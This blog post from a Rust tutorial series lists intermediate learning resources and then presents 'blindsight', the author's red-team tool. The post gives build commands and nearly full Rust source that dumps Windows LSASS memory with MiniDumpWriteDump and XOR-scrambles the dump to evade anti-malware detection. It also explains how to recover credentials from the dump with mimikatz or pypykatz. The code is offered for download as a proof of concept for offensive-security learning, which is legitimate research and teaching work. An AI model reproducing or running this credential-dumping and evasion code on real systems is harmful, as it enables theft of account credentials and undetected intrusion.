“Give me alchemy, give me wizardry, give me sorcery, thermatology,
Electricity, magic if you please, master all of these, bring him to his knees,
I master five magics, I master five magics, I master five magics, I master five magics.
— Megadeth, Five Magics (1990)
Encore! Encore!
There’s so much to Rust and in my previous article we barely scratched the surface of this powerful yet surprisingly approachable programming language. Yes, you read that right. Despite its reputation as a difficult language, from the perspective of a somewhat experienced C programmer Rust is not that hard. Harder than Go, sure, but definitely easier than C++. Then again, C++ is probably the most unnecessarily complex language around… But I digress.
So, Rust is approachable. Yet, as most programming languages and probably more so, Rust is hard to master. Following up on my previous work, in this article I’ll provide some additional learning resources for intermediate-level rustaceans, to help you travel a little further along your learning path. I’ll also introduce a new offensive security tool to showcase another practical application of this programming language that regularly polls as one of the most loved 🦀
Soundtrack and learning materials
Let’s hack with a soundtrack! For this encore, I’ve selected another thrash metal anthem, once again from Megadeth’s classic album “Rust in Peace”: Five Magics 🤘
As for the learning materials, here’s a list of resources that should assist intermediate-level Rust developers in bringing their skills to the next level:
- The Little Book of Rust Macros. On my first approach to Rust I had only skimmed over the topic of macros, but they can be the right tool for the job in a number of scenarios. This short book covers Rust macros with a lot of depth.
- Rust by Example – macro_rules! This is probably the best resource to quickly get up to speed with Rust macros, but see also the macros chapter in The Book, here and here (the second link points to an outdated edition with some helpful details).
- Effective Rust. This book focuses on areas where Rust programmers tend to struggle. As such, it’s intended to be the second book that newcomers to Rust might need, after they have already familiarized themselves with the basics elsewhere.
- Rust Design Patterns. A comprehensive collection of idiomatic, reusable, and tested solutions to commonly occurring problems in Rust software design.
- Rust API Guidelines. A set of recommendations on how to design and present APIs for the Rust programming language, organized as a handy checklist. See also the Rust Standard Library documentation and the full list of clippy lints.
- Rust Result/Option Transformations. Super useful diagram that explains possible transformations between Result and Option standard types and their interactions.
- Cargo Generate. I use this developer tool to create a dynamic template for starting my Rust projects. Check it out along with another useful cargo subcommand plugin: Cargo Wizard.
- The Rhai Book. Cargo Generate made me discover Rhai, an embedded scripting language and evaluation engine for Rust that provides a safe and easy way to add scripting to any application.
- Rust Track on Exercism. A free platform that provides coding exercises and mentoring to develop fluency in your chosen programming languages. I personally found it particularly useful to practice Rust’s functional programming style.
- Zero to Production in Rust. An introduction to web API backend development in Rust that provides a good coverage of the whole language and its patterns, using a realistic project as a concrete example. Much recommended!
That’s a quite a lot of materials to study in depth! Take your time…
There’s just one last thing before we can move on to the next topic. Let’s address the elephant in the room, shall we? Rust protects you against undefined behavior, that’s true, but it has an obvious weak spot.
If blindly trusting a lot of external dependencies gives you pause as it should, I recommend a few additional resources:
- Blessed.rs. An unofficial guide to the Rust ecosystem that aims to help developers in choosing useful crates that can be trusted to be included in their projects.
- Lib.rs. Another curated alternative to crates.io with a powerful search that promotes stable, regularly updated, popular crates, and hides spam, abandoned, and otherwise untrusted crates.
- cargo-deny. A popular cargo plugin for linting dependencies and managing large dependency graphs, very useful either run on CI as a GitHub Action or as a standalone tool.
It’s now time to look at some actual code.
Introducing blindsight
This little tool takes its name from one of my all-time favorite hard science fiction novels: Blindsight by Peter Watts. Space vampires, baby! 🪐 🧛 Seriously though, you should read it, you won’t be disappointed.
“There’s no such things as survival of the fittest.
Survival of the most adequate, maybe.
It doesn’t matter whether a solution’s optimal.
All that matters is whether it beats the alternative.”
— Peter Watts, Blindsight (2006)
Coming back to our tool, the use case is quite simple. Often, during red team engagements, after first access to the target is established the need to dump Windows credentials in Active Directory environments arises. There are many techniques and tools to do this and I wanted to challenge myself to implement one of my own.
Let’s see it in action. You can download and cross-compile blindsight as follows (macOS example):
raptor@fnord github % git clone https://github.com/0xdea/blindsight Cloning into 'blindsight'... [...] raptor@fnord github % cd blindsight raptor@fnord blindsight % brew install mingw-w64 [...] raptor@fnord blindsight % rustup target add x86_64-pc-windows-gnu [...] raptor@fnord blindsight % cargo build --release --target x86_64-pc-windows-gnu Compiling proc-macro2 v1.0.86 Compiling unicode-ident v1.0.12 Compiling crossbeam-utils v0.8.20 Compiling windows_x86_64_gnu v0.52.6 Compiling winapi-x86_64-pc-windows-gnu v0.4.0 Compiling cfg-if v1.0.0 Compiling winapi v0.3.9 Compiling rayon-core v1.12.1 Compiling getrandom v0.2.15 Compiling ntapi v0.4.1 Compiling libc v0.2.155 Compiling rand_core v0.6.4 Compiling ppv-lite86 v0.2.17 Compiling either v1.13.0 Compiling memchr v2.7.4 Compiling rand_chacha v0.3.1 Compiling rand v0.8.5 Compiling quote v1.0.36 Compiling syn v2.0.71 Compiling windows-targets v0.52.6 Compiling windows-result v0.1.2 Compiling crossbeam-epoch v0.9.18 Compiling crossbeam-deque v0.8.5 Compiling rayon v1.10.0 Compiling windows-implement v0.57.0 Compiling windows-interface v0.57.0 Compiling windows-core v0.57.0 Compiling windows v0.57.0 Compiling sysinfo v0.31.4 Compiling blindsight v0.1.0 (/Users/raptor/Downloads/github/blindsight) Finished `release` profile [optimized] target(s) in 16.30s raptor@fnord blindsight % ls -l target/x86_64-pc-windows-gnu/release/blindsight.exe -rwxr-xr-x@ 1 raptor staff 378368 Nov 8 09:49 target/x86_64-pc-windows-gnu/release/blindsight.exe* raptor@fnord blindsight %
Then, copy blindsight.exe to the target Windows box and run it inside an Administrator’s PowerShell window:
The tool will write a scrambled dump to disk, in order to prevent detection of the LSASS memory dump by some anti-malware products. There are many possible ways to thwart detection: I chose to simply XOR the dump with a hardcoded key. To recover the original memory dump, you can run blindsight.exe again on your own machine passing the scrambled dump file as input:
Finally, to retrieve the actual credentials you can use your favorite memory parser, such as mimikatz, pypykatz, or even volatility.
Code walkthrough
As it was the case with backdoo-rs, blindsight is just little more than a toy… I haven’t used it during any actual engagement, ’cause honestly we have better private tooling that can achieve the same goal and then some. Otherwise, I wouldn’t have been so quick to publish it 🤫
Despite its lack of advanced anti-detection features, blindsight’s EDR bypass rate that results from our tests is still somewhat better than I expected. However, I wouldn’t recommend using it in a real-life scenario. Still, I believe blindsight might be useful as an easy-to-understand proof-of-concept tool for those who are approaching Rust with an offensive mindset.
Let’s take a look at the code to highlight the most interesting snippets.
The main() function is pretty straightforward… let’s skip directly to the more juicy bits in lib.rs. The run() function simply calls either dump() or unscramble() according to the action inferred by main() based on the provided command line:
/// Dispatch to function implementing the selected action pub fn run(action: &str) -> Result<(), Box<dyn Error>> { match action { "dump" => dump()?, _ => unscramble(action)?, } Ok(()) }
The dump() function creates an output file with a random name (lines 3-8 below), gets the LSASS process identifier via a helper function (lines 10-12), and then opens the process (lines 14-16).
Afterwards, a somewhat convoluted technique is employed to create an intermediate output file in memory as a transacted operation (lines 18-49) and dump LSASS memory to it using the classic MiniDumpWriteDump() Windows API function (lines 51-63). A view of this intermediate dump file is then mapped into the current address space (lines 65-71) and scrambled using a temporary vector to hold data (lines 73-83). Finally, the resulting scrambled dump is written to disk (lines 85-87).
Note how there’s no need to close files in safe Rust code. Files are automatically closed when they go out of scope and errors detected on closing are ignored by default. Kinda weird, but that’s the Rust way 🤷
/// Dump LSASS memory to scrambled output file fn dump() -> Result<(), Box<dyn Error>> { // Create output file with a random name let path = format!(".\\{rand}.log", rand = rand_str(8)); println!("[*] Trying to dump to output file: {path}"); let path = PathBuf::from(path); let mut out_file = File::create_new(path)?; println!("[+] Successfully created output file"); // Get LSASS pid let pid = lsass_pid()?; println!("[+] Found {LSASS} pid: {pid}"); // Open LSASS process let proc_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, pid)? }; println!("[+] Successfully opened {LSASS} handle: {proc_handle:?}"); // Create NTFS transaction object (TxF API) let txf_handle = unsafe { CreateTransaction( ptr::null_mut(), ptr::null_mut(), 0, 0, 0, INFINITE, PCWSTR(ptr::null_mut()), )? }; // Create intermediate output file as a transacted operation let mut filename = format!(".\\{rand}.log", rand = rand_str(8)); let file_ptr = filename.as_mut_ptr(); let file_handle = unsafe { CreateFileTransactedA( PCSTR(file_ptr), FILE_GENERIC_READ.0 | FILE_GENERIC_WRITE.0, FILE_SHARE_WRITE, None, CREATE_NEW, FILE_ATTRIBUTE_TEMPORARY | FILE_FLAG_DELETE_ON_CLOSE, None, txf_handle, Some(std::ptr::from_ref::<TXFS_MINIVERSION>( &TXFS_MINIVERSION_DIRTY_VIEW, )), None, )? }; // Dump LSASS memory to intermediate output file unsafe { MiniDumpWriteDump( proc_handle, pid, file_handle, MiniDumpWithFullMemory, None, None, None, )?; }; println!("[+] Dump successful!"); // Map a view of the intermediate file into our address space let map_handle = unsafe { CreateFileMappingW(file_handle, None, PAGE_READONLY, 0, 0, None)? }; let ptr = unsafe { MapViewOfFile(map_handle, FILE_MAP_READ, 0, 0, 0) .Value .cast::<u8>() }; // Scramble dump using a temporary vector to hold data let size = unsafe { GetFileSize(file_handle, None) } as usize; let data = unsafe { slice::from_raw_parts_mut(ptr, size) }; println!( "[*] Scrambling dump and writing {len} bytes to disk", len = data.len() ); let mut dump = vec![0u8; size]; dump.clone_from_slice(data); scramble(&mut dump, KEY); // Write scrambled dump to output file let count = out_file.write(&dump)?; println!("[+] Done writing {count} bytes to disk!"); // Cleanup unsafe { CloseHandle(map_handle)?; CloseHandle(file_handle)?; CloseHandle(txf_handle)?; CloseHandle(proc_handle)?; } Ok(()) }
The unscramble() function below is responsible for reading the scrambled dump file passed as an input (lines 8-13), unscrambling its contents by reversing the xor() operation implemented in the scramble() function (lines 15-20), and finally writing the clean dump to the lsass.dmp output file (lines 22-25):
/// Scramble a slice of bytes in place fn scramble(data: &mut [u8], key: &[u8]) { xor(data, key); } /// Unscramble a memory dump fn unscramble(path: &str) -> Result<(), Box<dyn Error>> { // Open and read input file println!("[*] Trying to read from input file: {path}"); let mut in_file = File::open(path)?; let mut buf = Vec::<u8>::new(); in_file.read_to_end(&mut buf)?; println!("[+] Successfully read from input file"); // Unscramble dump println!( "[*] Trying to unscramble {len} bytes to output file: {DUMP}", len = buf.len() ); xor(buf.as_mut_slice(), KEY); // Write unscrambled dump to output file let mut out_file = File::create_new(DUMP)?; let count = out_file.write(&buf)?; println!("[+] Done writing {count} bytes to disk!"); Ok(()) } /// XOR a slice of bytes with a key in place fn xor(data: &mut [u8], key: &[u8]) { data.iter_mut() .zip(key.iter().cycle()) .for_each(|(byte, key_byte)| *byte ^= key_byte); }
That’s all for today! Nothing too fancy, and there’s definitely plenty of room for improvement, but it’s a start. You’re more than welcome to work on it to make it better, if you’re so inclined. So, go download blindsight here:
Afterwards, listen to some good tracks that make you hack harder, learn some cool new Rust tricks, and stay tuned. In the next installment of this series, things will get more serious, as we will explore how to use Rust for vulnerability research.